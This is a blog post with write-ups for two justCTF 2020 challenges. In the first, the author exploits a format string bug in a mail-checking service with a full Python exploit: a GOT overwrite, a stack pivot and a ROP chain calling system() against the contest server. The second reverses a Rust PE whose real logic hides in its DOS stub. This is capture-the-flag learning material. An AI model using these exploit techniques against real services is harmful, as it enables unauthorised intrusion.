CTFするぞ

CTF以外のことも書くよ

justCTF [*] 2020 Writeups

justCTF [*] 2020*1 had been held by @justCatTheFish from Jan 30th for 37 hours. I played it in zer0pts and we got the 5th place.

f:id:ptr-yudai:20210201103806p:plain

I'd been busy writing my bachelor thesis and I couldn't play some CTFs for some weeks. I felt it'd been a long time since I last played a CTF :-)

I only solved 2 challenges as there were only few pwn tasks and most of them were misc I'm newbie :cry:

[pwn 363pts] qmail (10 solves)

Description: One of the internet leaders launched an anti-spam mail checking service. You send it an email content and you get an aggregated score from multiple systems. However, it seems that something broke as the service doesn't respond from time to time. Am I sending content in EMail Message format? A mistake on their part seems implausible.
Server: `nc qmail.nc.jctf.pro 1337`
File: qmail

The program accepts an input of the e-mail format, then outputs the info in the JSON format. The vulnerability is super-obvious:

  v17 = cJSON_CreateObject();
  cJSON_AddItemToObject(v17, "plugins", plugin_json_output);
  v18 = cJSON_CreateNumber(0.0);
  cJSON_AddItemToObject(mailJ, "score", v18);
  v19 = cJSON_CreateBool(0LL);
  cJSON_AddItemToObject(mailJ, "spam", v19);
  v20 = cJSON_CreateBool(0LL);
  cJSON_AddItemToObject(mailJ, "reject", v20);
  cJSON_AddItemToObject(v17, "mail", mailJ);
  v21 = cJSON_CreateString("0.3.0.100");
  cJSON_AddItemToObject(v17, "version", v21);
  v22 = (const char *)cJSON_Print(v17);
  printf("HTTP/1.0 200 OK\r\nContent-Type: application/json\r\nContent-Length: %u\r\n\r\n", strlen(v22) + 1);
  printf(v22);
  _IO_putc(10, stdout);
  fflush(stdout);
  return 0;

The subject of the e-mail is printed, which may ignite the format string bug.

The first problem is we can't input NULL byte to the subject. This problem can easily be solved by putting the address into the e-mail body. The body message may contain NULL bytes and it's stored on the stack.

The second problem, perhaps the main concept of this challenge, is we need to cut off the standard input. We can break the input loop only by shutting the stdin down.

  do
  {
    v6 = read(0, v24, 0x400uLL);
    v7 = v6;
    if ( v6 < 0 )
      break;
    ...
  }
  while ( v7 );

Since we have to finish the exploit by a single shot, we should do ROP to gain RCE. RELRO is disabled and we can overwrite the GOT entries of some functions, for example _IO_puts.

The first thing to do is stack pivot. There are plenty of gadgets for this. I used the following gadget (at the end of mess_open function):

add rsp, 0x100
pop rbx
ret

The valud of RSP comes to the middle of the e-mail body and we can run ROP chain.

The next problem is we can't inject the second stage payload. This means it's useless to leak the libc address. In such cases I use add gadgets. I chose the following gadget:

0x00406e12: add dword [rbp-0x7C], eax ; sal byte [rbp+0x0B], 0x00000041 ; lea eax, dword [rcx+0x05] ; ret  ;  (2 found)

We can adjust the address of a libc function (i.e. __libc_start_main) to the address of __libc_system. Then calling it by call [rsi] or jmp [rsi] is enough.

As we can't use standard input, we have to run a command other than /bin/sh. I injected the command string into the memory by some mov gadgets.

Here is the final exploit:

from ptrlib import *

elf = ELF("./qmail")
"""
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
sock = Process("./qmail")
"""
libc = ELF("libc-2.27.so")
sock = Socket("qmail.nc.jctf.pro", 1337)
#"""

addr_cmd = elf.section('.bss') + 0x400
rop_pop_rbp = 0x403355
rop_xchg_eax_ebp = 0x406e75 # constraints: rcx=0
rop_add_prbp_m7Ch_eax = 0x00406e12
rop_mov_prdi_p10h_rsi = 0x00405b46
rop_pop_rsi = 0x00403b7c
rop_pop_rdi = 0x004050a6
rop_call_prsi = 0x00408a6b
rop_jmp_prsi = 0x004086fb

written = 44
write = 0x403715
ofs = 36
payload = ''
payload += '%{}c%{}$hhn'.format(
    ((write & 0xff) - written) % 0x100,
    ofs
)
written = (write & 0xff)
payload += '%{}c%{}$hhn'.format(
    (((write >> 8) & 0xff) - written) % 0x100,
    ofs + 1
)
mail  = b'Subject:' + payload.encode() + b'\r\n'
mail += b'From: ' + b'A' * (0xe6 - len(mail))
mail += b'\r\n\r\n'
for i in range(2):
    mail += p64(elf.got('_IO_putc') + i)
mail += flat([
    # prepare system
    rop_pop_rbp,
    libc.symbol('system') - libc.symbol('__libc_start_main'),
    rop_xchg_eax_ebp,
    rop_pop_rbp,
    elf.got('__libc_start_main') + 0x7c,
    rop_add_prbp_m7Ch_eax,
    # prepare cmd
    rop_pop_rdi,
    addr_cmd - 0x10,
    rop_pop_rsi,
    u64(b'cat /fla'),
    rop_mov_prdi_p10h_rsi,
    rop_pop_rdi,
    addr_cmd - 0x8,
    rop_pop_rsi,
    u64(b'g.txt'),
    rop_mov_prdi_p10h_rsi,
    # call system(cmd)
    rop_pop_rdi,
    addr_cmd,
    rop_pop_rsi,
    elf.got('__libc_start_main'),
    rop_jmp_prsi
], map=p64)
sock.send(mail)
sock.shutdown('write')

sock.interactive()

First blood, yay!

$ python solve.py 
[+] __init__: Successfully connected to qmail.nc.jctf.pro:1337
[ptrlib]$ justCTF{format-strings-vulns-are-awful-but-still-with-us}
(process:1): GLib-ERROR **: 02:18:49.788: ../../../../glib/gmem.c:135: failed to allocate 80 bytes

[rev 363pts] Rusty (10 solves)

Description: Looking at Rust code in disassembler/decompiler hurts, so... look somewhere else.
File: rusty.exe

We're given a PE file, which is probably written in Rust. To conclude first, this Rust part is a dummy.

I analysed the Rust binary and wrote the following solver:

from z3 import *

x = b''
x += int.to_bytes(0x13C012000FB00FB011B013B01440145, 16, 'little')
x += int.to_bytes(0x1190140012C0141013B014701420151, 16, 'little')
x += int.to_bytes(0x138013201350143015D014701160119, 16, 'little')
x += int.to_bytes(0x13E014201430149014A013A01300136, 16, 'little')
x += int.to_bytes(0x0D600D100D200E600D900F200FA0134, 16, 'little')
x += int.to_bytes(0x0BF00630063008900A900D400D300D7, 16, 'little')
x += int.to_bytes(0x14A0108, 4, 'little')

s = Solver()
flag = [BitVec(f'flag_{i}', 8) for i in range(0x37)]

s.add(flag[0] == ord('j'))
s.add(flag[1] == ord('c'))
s.add(flag[2] == ord('t'))
s.add(flag[3] == ord('f'))
s.add(flag[4] == ord('{'))
s.add(flag[0x36] == ord('}'))

for i in range(7, 0x39):
    a = ZeroExt(8, flag[(i-2) % len(flag)])
    b = ZeroExt(8, flag[(i-1) % len(flag)])
    c = ZeroExt(8, flag[i % len(flag)])
    t = a + b + c
    s.add(t == int.from_bytes(x[i*2-0x0e:i*2-0x0e+2], 'little'))

r = s.check()
if r == sat:
    m = s.model()
    output = ''
    for c in flag:
        output += chr(m[c].as_long())
    print(output)
else:
    print(r)
$ python dummy.py 
jctf{this_IS_not_the_|>_you_are_looking_4_FAKEFLAG!!!!}

What? I don't know why the author prepared this fake flag :thinking:

After some analysis, I found there's an unused region in the binary.

f:id:ptr-yudai:20210201112327p:plain

As you can see from the figure above, the offset to .text section is larger than a normal PE file. The following is the dump of a normal PE file head:

00000040  0e 1f ba 0e 00 b4 09 cd  21 b8 01 4c cd 21 54 68  |........!..L.!Th|
00000050  69 73 20 70 72 6f 67 72  61 6d 20 63 61 6e 6e 6f  |is program canno|
00000060  74 20 62 65 20 72 75 6e  20 69 6e 20 44 4f 53 20  |t be run in DOS |
00000070  6d 6f 64 65 2e 0d 0d 0a  24 00 00 00 00 00 00 00  |mode....$.......|
00000080  50 45 00 00 64 86 13 00  a5 c2 16 60 00 ae 3f 00  |PE..d......`..?.|
00000090  95 18 00 00 f0 00 27 00  0b 02 02 1e 00 52 0c 00  |......'......R..|

The following, however, is the given binary:

00000040  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
00000200  54 68 69 73 20 70 72 6f  67 72 61 6d 20 63 61 6e  |This program can|
00000210  6e 6f 74 20 62 65 20 72  75 6e 20 69 6e 20 44 4f  |not be run in DO|
00000220  53 20 6d 6f 64 65 2e 0d  0a 24 8b c0 fa 2e 8b c0  |S mode...$......|
00000230  00 00 00 00 3e 49 26 52  45 22 42 10 66 0b 6c 06  |....>I&RE"B.f.l.|
00000240  0d 50 0f 4c 25 4c 3f 12  56 03 20 5a 14 61 4a 3f  |.P.L%L?.V. Z.aJ?|
00000250  5d 51 12 5c 18 05 43 39  4f 32 0a 24 d9 0f 9f 0d  |]Q.\..C9O2.$....|
00000260  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
00000280  00 00 00 00 00 00 00 24  27 00 fc e8 39 02 b8 13  |.......$'...9...|
00000290  00 cd 10 e8 69 01 b8 00  a0 8e c0 e8 29 01 e8 14  |....i.......)...|

Something is different obviously.

After some attempts, I found this binary worked as an MS-DOS program. Running this binary in DOSBOX generated the following fire movie.

f:id:ptr-yudai:20210201112623p:plain

@x0r19x91 analysed this binary as an MS-DOS program and found the logic:

dest = [
    0x3E, 0x49, 0x26, 0x52, 0x45, 0x22, 0x42, 0x10, 0x66, 0x0B, 
    0x6C, 0x06, 0x0D, 0x50, 0x0F, 0x4C, 0x25, 0x4C, 0x3F, 0x12, 
    0x56, 0x03, 0x20, 0x5A, 0x14, 0x61, 0x4A, 0x3F, 0x5D, 0x51, 
    0x12, 0x5C, 0x18, 0x05, 0x43, 0x39, 0x4F, 0x32, 0x0A
]

for i in range(39):
    for j in range(i, 39):
        dest[j] ^= key[i]

print(''.join(map(chr, dest)))

The left thing to do is to find out the key.

Unfortunately, I really don't know how to find the key. I completely guessed the key by the information that the key length is 39-byte. The sentence "This program cannot be run in DOS mode.". which we often see in PE files, is also 39-byte length.

I used this sentence as the key and got the flag.

dest = [
    0x3E, 0x49, 0x26, 0x52, 0x45, 0x22, 0x42, 0x10, 0x66, 0x0B, 
    0x6C, 0x06, 0x0D, 0x50, 0x0F, 0x4C, 0x25, 0x4C, 0x3F, 0x12, 
    0x56, 0x03, 0x20, 0x5A, 0x14, 0x61, 0x4A, 0x3F, 0x5D, 0x51, 
    0x12, 0x5C, 0x18, 0x05, 0x43, 0x39, 0x4F, 0x32, 0x0A
]

key = b'This program cannot be run in DOS mode.'

for i in range(39):
    for j in range(i, 39):
        dest[j] ^= key[i]

print(''.join(map(chr, dest)))

Is this just a guessing task or did I miss something? :thinking:

$ python solve.py 
justCTF{just_a_rusty_old_DOS_stub_task}

*1:why not 2021?